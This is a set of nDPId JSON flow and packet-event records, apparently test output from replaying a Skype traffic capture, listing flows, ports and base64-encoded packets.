+00666{"flow_id":249,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1672,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":768668,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbUz1AAEAG66HAqAEiF84hpshfAbtO4sWpGQUJ6IAYECzDngAAAQEICj4yZJLsPkNyFgMBAKIBAACeAwFVWiOCVbYrRciiFbDPyo4FvK6EfrMUp8GvYuL\/j8yxbgAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1673,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":1,"flow_first_seen":1431970691783,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":51300,"dst_port":20274,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":254,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1673,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":783150,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA6ABAAEAGoz\/AqAEiTKehBshkTzK\/rUQGAAAAALAC\/\/\/JZwAAAgQFtAEDAwUBAQgKPjJkoAAAAAAEAgAA"} +00898{"flow_id":251,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1675,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":820992,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGDpfBAAEAGnePAqAEiW77YGMhhMD6A1I7uSE6kloAYECnTiwAAAQEICj4yZMUNH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00448{"flow_id":252,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1677,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":867151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8DntAAEAGqKXAqAEiUuBu8chil+9r2DUhwKVsb4AYECnfQwAAAQEICj4yZPMABxv0Y+a7tnpGfD8="} +01488{"flow_id":245,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1681,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":952567,"pkt_caplen":843,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":843,"pkt_l4_len":809,"pkt":"0NQSxnP1PBXCt3IOCABFAAM9drpAAEAGr33AqAEiR+4Hy8hcSU\/pBV6RMLckC4AYECm8cQAAAQEICj4yZUYDHMmY0ojLBzKbCEzV0NY45aTH5zlqLRARsxMYTEGZsLSBsVyMCmU7F4v7BwrEUuhzP2nT3I\/0ndCTYbxFQEiPfAsqFXMLEhjR5wyzh5tL4eo6VUfH2PudrgrlITjmsK887X4TKMRjoDf1MHx66vvtvwgq5ThEka1reNNdmI7wsceHD8f7LGnk1qRWK3uNByI7ceQr+W33scZNH1mOZ\/uj61j0YPWThNdPaGG75TNkO99bhcIEOsaghu8GLj9cn\/bwssufF\/OzV5VfGT\/fQZfFTzlT66nXHQCNksIbWENqJH6H6NfcPzhTbdp2MYugRo2tCjDSx5ZOFA2OyHd0p+TX3ymaOVj952Yvc4u6B5U4bbD0FxEVWbO432I6UvoPFD2No8aUmcgCYnBNEUMpFEqGc5sYofrP5cWp6O2InuZiV2y3pfEATlP5vBUir75dGfVY4Q8AslbfqtwqJ5XZzHC66yJiPfRIh+0frjlkOH5wGKotSulp1JjJD1rc3LkeWaEozcE2chg0zdbp7jr3fis5jBCvHBWK30xNV9xaWjYfNw\/6u6Zsrz\/2Bc8z2Tr6UjX61FV7ZYGKrMV6WVhYWKffNukYcMi+5wBHr\/lhaxxI9ua28f5Fl+9MdoK751pSoSafpK1XvQh7BzY3R0cSuPfOmQYqbTg9+TxnKkZnLIVNMQ9tbXqyawpHMaxzy+RLlMgYIXGTA7bGfFFGr2euRcO4zbsEE3yyYeX1iPCxko+xpvketUngopy4UBoiA5MlLfc0vz7ZXfujEScOvqJG5yE6VT+wQmUAGWXaExB0Ot7n5PENuLVOoCYRzvyy2bv0bBIAUkVhozaNFaayqaAHOhmUs39+2w8aXbyBsr1ZmqM13mrPjcbvzvFUE7rTTSqkmlDIICDaJtCSh8XZ1mkflnKo3oHK4tfWDi0JEtmQdW2GKiQBtRNsNUGV6y1vtbKDwefb\/OhJkjr3eOrKIxcklK3moiBJya5sUbK2sWCiLxD40qESCLeGb6U\/tC5c4l46bp\/Wv0i5ZujFbVOX0ZJb"} +01495{"flow_id":246,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1682,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":952567,"pkt_caplen":843,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":843,"pkt_l4_len":809,"pkt":"0NQSxnP1PBXCt3IOCABFAAM93FdAAEAG2MPAqAEiBfi63chdeSKNyxj89x0924AYECrdVQAAAQEICj4yZUYAAJUC3LTZ8DZCN29lp\/oN3E0EwgDRbLu3ZRedJtlcUp5DP68sOdB+Qs\/jVqp\/04b8cBRxI+5FqHFRPMs1eg4JxHzPfItJ5+vwGuyooaNFoH31CComMNMJFYMrJeL1v3Fo4ZDpkE2fKJ3UTEdKNuiOJT9hhDWHvLmZOGcLDeAButr0CKXe6+gV2Pg25gtXZDpRs3KdH9Keo0d+PWDNVqhCuPGmJHKr8I0GCrKv6oPpUkM4D9wE492StssnK\/AUOUzigmCQ51Ibh\/4Mi0FSo8o+gtXtPUiDqD0s8HKOX51V8QdZinPFV1VwRFGvQ9UEIl64E4kmYA96ZgZ0sSpDhW6EKQH33OhTSIA7OPV1\/R2hJQ+kT+h4syy\/GKXxjPRhEW+34pU7ZB9Urk94Fandu2pRvmV2\/13jXsmudBjJfTmupb3PyOuZ4Hzm1PlrBjU0KDUk9cqwNCJCaTXxOKu9FNZIBgHlSK\/Pf4gMHWedeB1FmKhPn5owCegNW5sOF0W9jTF6jqZajQoeuyAUXRhDcSVcitRyKs3o\/K0VTqPCe9fNPwZe5fFhb5piWlnwfKKl+wDJDsG2qmnxl9zkf12BTmFQQw97dfHp5E98qskyZoFxQ8tiIw5676\/sB6GI4DFPjlniDkFlyh5J+aon5tONMDQz\/yZJCN8xW4UN82EgCeVDG1xp5S1tt6n0wEj7k4k2mtV54ZJfZiaCeZ4s0aB0wvhCpBqe+9stENPCcKgFFUCFfllXTR4OHDb5j2CDgXEZ1KZHV\/F911sCvmAuInziVSv\/wtnUnWBdfygVoyuLyu\/3bmRiaFtAqTHtmRZWnUT\/+vR60+FUUE5t+LkRK1ROcZtltPB+vC4TUje4+Jo9r2a86yEPGlJZxDqRUO5AGFGitPfoNdPgKNYg6JRFKtEagoFZUTcMwPquY562Z7NEWJctySnNrY5M7odwP5+jLL2Iylzhb\/UXeWs1JnlIRJ9H3Eo5IVdqHiogO6ibM4npMe7CnJ7qCNKj7nxTj8G\/dvRVSEAAsqs\/0gsm+PZDB27w"} +00437{"flow_id":239,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1683,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970691,"pkt_ts_usec":952730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WMdAAEAGMoXAqAEiTKehBshYTzLHdCYPEv4ezoARECpk4QAAAQEICj4yZUa+r7k1"} +00448{"flow_id":254,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1684,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":55096,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAAC4GnURMp6EGwKgBIk8yyGRH9b\/zv61EB6AScSDahgAAAgQFrAQCCAq+r8ghPjJkoAEDAwc="} +00421{"flow_id":254,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1685,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":55200,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAop\/VAAEAG42LAqAEiTKehBshkTzK\/rUQHAAAAAFAEAADlHAAA"} +00449{"flow_id":214,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1686,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":63846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83VdAAEAGQ\/fAqAEiQAQXn8hOnEl2PjsWIF+fsYAZECgA0AAAAQEICj4yZbRMR9i06BKmNwKjHHk="} +00549{"flow_id":186,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1687,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":134511,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDB\/pAADgG7znVx7OvwKgBIgG7yEfSVR1Dc5lvg4AYAB0Y4QAAAQEICk7fKsA+MiYnFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":186,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1688,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":134625,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAox6lAAEAGJ+XAqAEi1cezr8hHAbtzmW+DAAAAAFAEAAC3fwAA"} +00437{"flow_id":246,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1691,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":211565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA08TFAAHIGlPIF+LrdwKgBInkiyF33HT3bjcscBYAQQM9abgAAAQEICgAAlR0+MmVG"} +00452{"flow_id":214,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1692,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":227904,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8R\/tAADYG41NABBefwKgBIpxJyE4gX5+xdj47FoAYAB0t\/gAAAQEICkxH4Vw+MkQz\/wRLqjQkKko="} +00421{"flow_id":214,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":227999,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo2gtAAEAGR1fAqAEiQAQXn8hOnEl2PjsWAAAAAFAEAACAhgAA"} +00428{"flow_id":235,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1696,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":292545,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuAIoAAEARXlnAqAEirjGr4DLdfQsAGsvlfaACeL8XUJBpLDeRz+sEHWOI"} +00428{"flow_id":236,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1697,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":292545,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAug2AAAEAR1cjAqAEiUx8MrTLdXYMAGvz0faICfIT9gb6c5K1Sd5xbHa0C"} +00438{"flow_id":245,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1698,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":348752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0sHNAAHMGRc1H7gfLwKgBIklPyFwwtyQL6QVhmoAQ\/JhHTQAAAQEICgMcybA+MmVG"} +00448{"flow_id":252,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1701,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":417814,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vvZAAEAG+CnAqAEiUuBu8chil+9r2DUhwKVsb4AYECndJwAAAQEICj4yZw8ABxv0Y+a7tnpGfD8="} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.188.134.174","src_port":13021,"dst_port":22436,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.138.161.88","src_port":13021,"dst_port":19521,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431970688025,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.14","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1431970688320,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.141","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":1,"flow_first_seen":1431970692464,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"82.224.110.241","src_port":51301,"dst_port":38895,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":255,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1702,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":464197,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAG0ZAAEAGm9bAqAEiUuBu8chll+8qmATQAAAAALAC\/\/9+NAAAAgQFtAEDAwUBAQgKPjJnPQAAAAAEAgAA"} +00449{"flow_id":244,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1704,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":520010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8OKtAAEAGoWbAqAEiUVNNjchbROcBp2cbGMO5FYAZECku8wAAAQEICj4yZ3QAvBW1LtP9fnVyMSs="} +00448{"flow_id":255,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1705,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":533701,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8K7ZAAHIGWWpS4G7xwKgBIpfvyGV1sVenKpgE0aASIACFcQAAAgQFrAEDAwgEAggKAAccXD4yZz0="} +00436{"flow_id":255,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1706,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":533819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA061FAAEAGy9bAqAEiUuBu8chll+8qmATRdbFXqIAQECzDxgAAAQEICj4yZ4EABxxc"} +00495{"flow_id":255,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1707,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":533942,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABdRo5AAEAGcHHAqAEiUuBu8chll+8qmATRdbFXqIAYECwg4QAAAQEICj4yZ4EABxxcdN\/PvhncCBxBTx10CH0pSBW20mZkIkfGOwDQrAPUck+HvT+TELzMsfE="} +00898{"flow_id":251,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1710,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":575366,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"0NQSxnP1PBXCt3IOCABFAAGDVPlAAEAG7trAqAEiW77YGMhhMD6A1I7uSE6kloAYECnQpwAAAQEICj4yZ6kNH3Ow5U5PVEeeCZpIIwSmkpxtPWvIQ8ycvXYLJYFHzypUoxCI4WYjUn1+fD\/hEHw\/QclyzkFvzzgC+gTQISL9Gc2pOkm+7\/OxwST+HGNp1LPLG6lujGcE5Y5efc8EkFCg\/zsXT+ZIbYKWoUDRi61OdIxcs1kdUr4ZmxkOXWCJxxDN3OxiEJ+JriDCicgOMiHmUcbTyLC8iJKqBM9\/gpZEaTW\/5N20B2\/GLkJHjFFoRXE07pKWEGQgr6c6gqXuPl3DEjhJckvETpiJ8v+p0qIXRcxs1ht4ZilQkjxIw3S2cnA0p5u+lOChexJvZqWieZkgH5t1pDMw9Xuovqbllekc1lBNq\/GEGTZgDYc\/K9V5zkcHXAC0+1fMaDUI1WM4ewVb5f1GOrOQGU\/l0MoMxFG30yoODyXJi6F+eWg8shWymNPdud0cNGJaiwifLozFkaD5vlA="} +00523{"flow_id":255,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1713,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970692,"pkt_ts_usec":604735,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"PBXCt3IO0NQSxnP1CABFAABxK7dAAHIGWTRS4G7xwKgBIpfvyGV1sVeoKpgE+oAYAQJT9wAAAQEICgAHHGM+MmeBkDiZzbojxJ9PxbugT0tjuly2Cbuf5f2\/Ols6OQShmjDUrdZ1qkX0XdDrvoIRIccEyjuUF5yWH+fbKQp7Tg=="} 